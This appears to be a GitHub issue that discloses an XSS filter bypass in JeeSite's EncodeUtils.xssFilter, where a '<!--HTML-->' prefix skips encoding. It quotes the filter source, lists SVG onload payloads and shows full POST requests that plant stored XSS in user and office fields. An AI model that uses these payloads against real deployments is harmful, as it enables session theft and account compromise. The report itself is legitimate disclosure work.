Skip to content

Unlocking dozens of XSS via sanitizer bypass (filter) #32

@NinjaGPT

Description

@NinjaGPT

Summary

By exploiting the whitelist of XSS filters, XSS defenses can be bypassed, unlocking dozens of high-risk XSS vulnerabilities, including both reflected and stored types.

Details

the XSS filter will sanitize all INPUT, however, attacker can bypass it via whitelist.

  • src/main/java/com/jeesite/common/codec/EncodeUtils.java
private static final List<Pattern> xssPatterns = ListUtils.newArrayList( Pattern.compile("(<\\s*(script|link|style|iframe)([\\s\\S]*?)(>|<\\/\\s*\\1\\s*>))|(</\\s*(script|link|style|iframe)\\s*>)", 2), Pattern.compile("\\s*(href|src)\\s*=\\s*(\"\\s*(javascript|vbscript):[^\"]+\"|'\\s*(javascript|vbscript):[^']+'|(javascript|vbscript):[^\\s]+)\\s*(?=>)", 2), Pattern.compile("\\s*on[a-z]+\\s*=\\s*(\"[^\"]+\"|'[^']+'|[^\\s]+)\\s*(?=>)", 2), Pattern.compile("(eval\\((.*?)\\)|expression\\((.*?)\\))", 2), Pattern.compile("^(javascript:|vbscript:)", 2)); public static String xssFilter(String text) { return xssFilter(text, null); } public static String xssFilter(String text, HttpServletRequest request) { HttpServletRequest request2 = request != null ? request : ServletUtils.getRequest(); if (request2 != null && StringUtils.containsAny(request2.getRequestURI(), ServletUtils.XSS_FILE_EXCLUDE_URI)) { return text; } String oriValue = StringUtils.trim(text); if (text != null) { String value = oriValue; for (Pattern pattern : xssPatterns) { Matcher matcher = pattern.matcher(value); if (matcher.find()) { value = matcher.replaceAll(""); //遇到关键字则替换为空 } } if (!StringUtils.startsWithIgnoreCase(value, "<!--HTML-->") && !StringUtils.startsWithIgnoreCase(value, "<?xml ") && !StringUtils.contains(value, "id=\"FormHtml\"") && ((!StringUtils.startsWith(value, VectorFormat.DEFAULT_PREFIX) || !StringUtils.endsWith(value, "}")) && (!StringUtils.startsWith(value, "[") || !StringUtils.endsWith(value, "]")))) { StringBuilder sb = new StringBuilder(); for (int i = 0; i < value.length(); i++) { char c = value.charAt(i); switch (c) { case '\"': sb.append("""); //替换成全角符号 break; case '\'': sb.append("'"); //替换成全角符号 break; case '<': sb.append("<"); //替换成全角符号 break; case '>': sb.append(">"); //替换成全角符号 break; default: sb.append(c); break; } } value = sb.toString(); } if (logger.isInfoEnabled() && !value.equals(oriValue)) { Logger logger2 = logger; Object[] objArr = new Object[3]; objArr[0] = value; objArr[1] = text; objArr[2] = request2 != null ? request2.getRequestURL() : Constants.AccessLog.COMMON_ALIAS; logger2.info("xssFilter: {} <=<=<= {} source: {}", objArr); } return value; } return null; } 

POC

Payload

<!--HTML-->"><svg/ONLOAD=confirm(3) /> <!--HTML-->"></textarea><svg/ONLOAD=confirm(3) /> etc .. 

Proof Of Concept

  • CASE 1: Stored XSS
POST /js/a/sys/user/infoSaveBase HTTP/1.1 !sex=&sex=1&avatarBase64=1111 &userName=<!--HTML--><svg/ONLOAD=confirm(2) /> &email=<!--HTML-->"><svg/ONLOAD=confirm(3) /> &mobile=<!--HTML-->"><svg/ONLOAD=confirm(4) /> &phone=<!--HTML-->"><svg/ONLOAD=confirm(5) />&sign=<!--HTML--></textarea><svg/ONLOAD=confirm(6) /> 
Image

the XSS payload will be executed once access to the homepage of admin panel:

Image
  • CASE 2: Stored XSS
POST /js/a/sys/office/save HTTP/1.1 parent.officeName=&parent.id=&officeName=%E5%B1%B1%E4%B8%9C%E5%85%AC%E5%8F%B8&isNewRecord=false&officeCode=SD&viewCode=SD&fullName=%E5%B1%B1%E4%B8%9C%E5%85%AC%E5%8F%B8&treeSort=40&officeType=1&leader=&phone=&address=&zipCode=&email=&remarks=<!--HTML-->"></textarea><svg/ONLOAD=confirm(3) />&extend.extendS1=&extend.extendS2=&extend.extendS3=&extend.extendS4=&extend.extendS5=&extend.extendS6=&extend.extendS7=&extend.extendS8=&extend.extendI1=&extend.extendI2=&extend.extendI3=&extend.extendI4=&extend.extendF1=&extend.extendF2=&extend.extendF3=&extend.extendF4=&extend.extendD1=&extend.extendD2=&extend.extendD3=&extend.extendD4= 
Image

the XSS payload will be executed once access to the OUTPUT pages, like http://127.0.0.1:8980/js/a/sys/office/form?officeCode=SD

Image

Impact

https://portswigger.net/web-security/cross-site-scripting#impact-of-xss-vulnerabilities

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions